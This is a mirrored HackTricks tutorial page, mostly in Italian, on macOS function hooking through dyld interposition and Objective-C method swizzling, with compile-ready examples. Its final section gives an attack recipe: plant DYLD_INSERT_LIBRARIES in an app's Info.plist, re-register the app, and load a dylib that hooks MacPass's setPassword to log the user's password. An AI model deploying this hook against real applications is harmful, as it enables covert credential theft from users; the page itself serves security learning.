mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
407 lines
16 KiB
Markdown
407 lines
16 KiB
Markdown
# macOS Function Hooking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **su GitHub**.
|
|
|
|
</details>
|
|
|
|
## Interposizione di funzioni
|
|
|
|
Crea una **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e alle funzioni **di sostituzione**.
|
|
|
|
Successivamente, **inietta** la dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima del caricamento dell'app principale). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](macos-library-injection/#check-restrictions).
|
|
|
|
### Interposizione di printf
|
|
|
|
{% tabs %}
|
|
{% tab title="interpose.c" %}
|
|
{% code title="interpose.c" %}
|
|
```c
|
|
// gcc -dynamiclib interpose.c -o interpose.dylib
|
|
#include <stdio.h>
|
|
#include <stdarg.h>
|
|
|
|
int my_printf(const char *format, ...) {
|
|
//va_list args;
|
|
//va_start(args, format);
|
|
//int ret = vprintf(format, args);
|
|
//va_end(args);
|
|
|
|
int ret = printf("Hello from interpose\n");
|
|
return ret;
|
|
}
|
|
|
|
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
|
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% tab title="hello.c" %}
|
|
```c
|
|
//gcc hello.c -o hello
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
printf("Hello World!\n");
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <dlfcn.h>
|
|
|
|
typedef int (*orig_open_type)(const char *pathname, int flags);
|
|
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
|
|
|
|
int open(const char *pathname, int flags) {
|
|
orig_open_type orig_open;
|
|
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
|
printf("Opening file: %s\n", pathname);
|
|
return orig_open(pathname, flags);
|
|
}
|
|
|
|
FILE *fopen(const char *pathname, const char *mode) {
|
|
orig_fopen_type orig_fopen;
|
|
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
|
|
printf("Opening file: %s\n", pathname);
|
|
return orig_fopen(pathname, mode);
|
|
}
|
|
```
|
|
|
|
This code demonstrates how to use function hooking in macOS using the `dlsym` function. The `open` and `fopen` functions are intercepted and their behavior is modified to print a message before executing the original function. The `orig_open_type` and `orig_fopen_type` typedefs are used to define function pointers to the original functions. The `dlsym` function is used to obtain the address of the original functions, which are then called using the function pointers.
|
|
|
|
```c
|
|
// Just another way to define an interpose
|
|
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
|
|
|
#include <stdio.h>
|
|
|
|
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
|
__attribute__((used)) static struct { \
|
|
const void* replacement; \
|
|
const void* replacee; \
|
|
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
|
(const void*) (unsigned long) &_replacement, \
|
|
(const void*) (unsigned long) &_replacee \
|
|
};
|
|
|
|
int my_printf(const char *format, ...)
|
|
{
|
|
int ret = printf("Hello from interpose\n");
|
|
return ret;
|
|
}
|
|
|
|
DYLD_INTERPOSE(my_printf,printf);
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
```bash
|
|
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
|
Hello from interpose
|
|
|
|
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
|
Hello from interpose
|
|
```
|
|
|
|
## Method Swizzling
|
|
|
|
In ObjectiveC, così viene chiamato un metodo: **`[istanzaMiaClasse nomeDelMetodoPrimoParam:param1 secondoParam:param2]`**
|
|
|
|
Sono necessari l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, viene inviato un **msg** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
|
|
|
L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**.
|
|
|
|
Seguendo le strutture degli oggetti, è possibile raggiungere un **array di metodi** in cui sono **localizzati** i **nomi** e i **puntatori** al codice del metodo.
|
|
|
|
{% hint style="danger" %}
|
|
Nota che poiché i metodi e le classi vengono accessibili in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
|
{% endhint %}
|
|
|
|
### Accesso ai metodi grezzi
|
|
|
|
È possibile accedere alle informazioni dei metodi come il nome, il numero di parametri o l'indirizzo, come nell'esempio seguente:
|
|
|
|
```objectivec
|
|
// gcc -framework Foundation test.m -o test
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
#import <objc/message.h>
|
|
|
|
int main() {
|
|
// Get class of the variable
|
|
NSString* str = @"This is an example";
|
|
Class strClass = [str class];
|
|
NSLog(@"str's Class name: %s", class_getName(strClass));
|
|
|
|
// Get parent class of a class
|
|
Class strSuper = class_getSuperclass(strClass);
|
|
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
|
|
|
// Get information about a method
|
|
SEL sel = @selector(length);
|
|
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
|
Method m = class_getInstanceMethod(strClass,sel);
|
|
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
|
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
|
|
|
// Iterate through the class hierarchy
|
|
NSLog(@"Listing methods:");
|
|
Class currentClass = strClass;
|
|
while (currentClass != NULL) {
|
|
unsigned int inheritedMethodCount = 0;
|
|
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
|
|
|
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
|
|
|
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
|
Method method = inheritedMethods[i];
|
|
SEL selector = method_getName(method);
|
|
const char* methodName = sel_getName(selector);
|
|
unsigned long address = (unsigned long)method_getImplementation(m);
|
|
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
|
}
|
|
|
|
// Free the memory allocated by class_copyMethodList
|
|
free(inheritedMethods);
|
|
currentClass = class_getSuperclass(currentClass);
|
|
}
|
|
|
|
// Other ways to call uppercaseString method
|
|
if([str respondsToSelector:@selector(uppercaseString)]) {
|
|
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
|
NSLog(@"Uppercase string: %@", uppercaseString);
|
|
}
|
|
|
|
// Using objc_msgSend directly
|
|
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
|
NSLog(@"Uppercase string: %@", uppercaseString2);
|
|
|
|
// Calling the address directly
|
|
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
|
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
|
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
|
NSLog(@"Uppercase string: %@", uppercaseString3);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
### Method Swizzling con method\_exchangeImplementations
|
|
|
|
La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di una funzione con un'altra.
|
|
|
|
{% hint style="danger" %}
|
|
Quindi quando una funzione viene chiamata, viene **eseguita l'altra**.
|
|
{% endhint %}
|
|
|
|
```objectivec
|
|
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
|
|
|
|
// Create a new category for NSString with the method to execute
|
|
@interface NSString (SwizzleString)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
|
|
|
@end
|
|
|
|
@implementation NSString (SwizzleString)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
|
|
|
|
// Call the original method
|
|
return [self swizzledSubstringFromIndex:from];
|
|
}
|
|
|
|
@end
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
// Perform method swizzling
|
|
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
|
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
|
method_exchangeImplementations(originalMethod, swizzledMethod);
|
|
|
|
// We changed the address of one method for the other
|
|
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
|
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
|
|
|
// Example usage
|
|
NSString *myString = @"Hello, World!";
|
|
NSString *subString = [myString substringFromIndex:7];
|
|
NSLog(@"Substring: %@", subString);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
{% hint style="warning" %}
|
|
In questo caso, se il codice di implementazione del metodo legittimo verifica il nome del metodo, potrebbe rilevare questa sostituzione e impedirne l'esecuzione.
|
|
|
|
La seguente tecnica non ha questa restrizione.
|
|
{% endhint %}
|
|
|
|
### Sostituzione del metodo con method\_setImplementation
|
|
|
|
Il formato precedente è strano perché stai cambiando l'implementazione di due metodi l'uno con l'altro. Utilizzando la funzione **`method_setImplementation`** puoi **cambiare** l'**implementazione** di un **metodo con un altro**.
|
|
|
|
Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se hai intenzione di chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto complicato individuare quell'indirizzo.
|
|
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
#import <objc/message.h>
|
|
|
|
static IMP original_substringFromIndex = NULL;
|
|
|
|
@interface NSString (Swizzlestring)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
|
|
|
@end
|
|
|
|
@implementation NSString (Swizzlestring)
|
|
|
|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
|
|
|
|
// Call the original implementation using objc_msgSendSuper
|
|
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
|
}
|
|
|
|
@end
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
// Get the class of the target method
|
|
Class stringClass = [NSString class];
|
|
|
|
// Get the swizzled and original methods
|
|
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
|
|
|
// Get the function pointer to the swizzled method's implementation
|
|
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
|
|
|
// Swap the implementations
|
|
// It return the now overwritten implementation of the original method to store it
|
|
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
|
|
|
// Example usage
|
|
NSString *myString = @"Hello, World!";
|
|
NSString *subString = [myString substringFromIndex:7];
|
|
NSLog(@"Substring: %@", subString);
|
|
|
|
// Set the original implementation back
|
|
method_setImplementation(originalMethod, original_substringFromIndex);
|
|
|
|
return 0;
|
|
}
|
|
}
|
|
```
|
|
|
|
## Metodologia di attacco di Hooking
|
|
|
|
In questa pagina sono stati discussi diversi modi per agganciare le funzioni. Tuttavia, essi implicano l'esecuzione di codice all'interno del processo per attaccare.
|
|
|
|
Per fare ciò, la tecnica più semplice da utilizzare è l'iniezione di [Dyld tramite variabili d'ambiente o dirottamento](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Tuttavia, suppongo che ciò possa essere fatto anche tramite [iniezione di processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
|
|
|
Entrambe le opzioni, tuttavia, sono limitate a binari/processi non protetti. Consultare ogni tecnica per saperne di più sulle limitazioni.
|
|
|
|
Tuttavia, un attacco di hooking di funzioni è molto specifico, un attaccante lo farebbe per rubare informazioni sensibili all'interno di un processo (altrimenti si farebbe semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in App scaricate dall'utente, come MacPass.
|
|
|
|
Quindi, il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile d'ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come:
|
|
|
|
```xml
|
|
<key>LSEnvironment</key>
|
|
<dict>
|
|
<key>DYLD_INSERT_LIBRARIES</key>
|
|
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
|
</dict>
|
|
```
|
|
|
|
e quindi **ri-registrare** l'applicazione:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
|
```
|
|
{% endcode %}
|
|
|
|
Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Password, messaggi...
|
|
|
|
{% hint style="danger" %}
|
|
Nota che nelle versioni più recenti di macOS, se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**.
|
|
{% endhint %}
|
|
|
|
#### Esempio di libreria
|
|
|
|
```objectivec
|
|
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
|
|
|
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
|
|
|
// Listen to the logs with something like:
|
|
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
|
|
|
#include <Foundation/Foundation.h>
|
|
#import <objc/runtime.h>
|
|
|
|
// Here will be stored the real method (setPassword in this case) address
|
|
static IMP real_setPassword = NULL;
|
|
|
|
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
|
{
|
|
// Function that will log the password and call the original setPassword(pass, file_path) method
|
|
NSLog(@"[+] Password is: %@", password);
|
|
|
|
// After logging the password call the original method so nothing breaks.
|
|
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
|
}
|
|
|
|
// Library constructor to execute
|
|
__attribute__((constructor))
|
|
static void customConstructor(int argc, const char **argv) {
|
|
// Get the real method address to not lose it
|
|
Class classMPDocument = NSClassFromString(@"MPDocument");
|
|
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
|
|
|
// Make the original method setPassword call the fake implementation one
|
|
IMP fake_IMP = (IMP)custom_setPassword;
|
|
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
|
}
|
|
```
|
|
|
|
## Riferimenti
|
|
|
|
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
|
|
</details>
|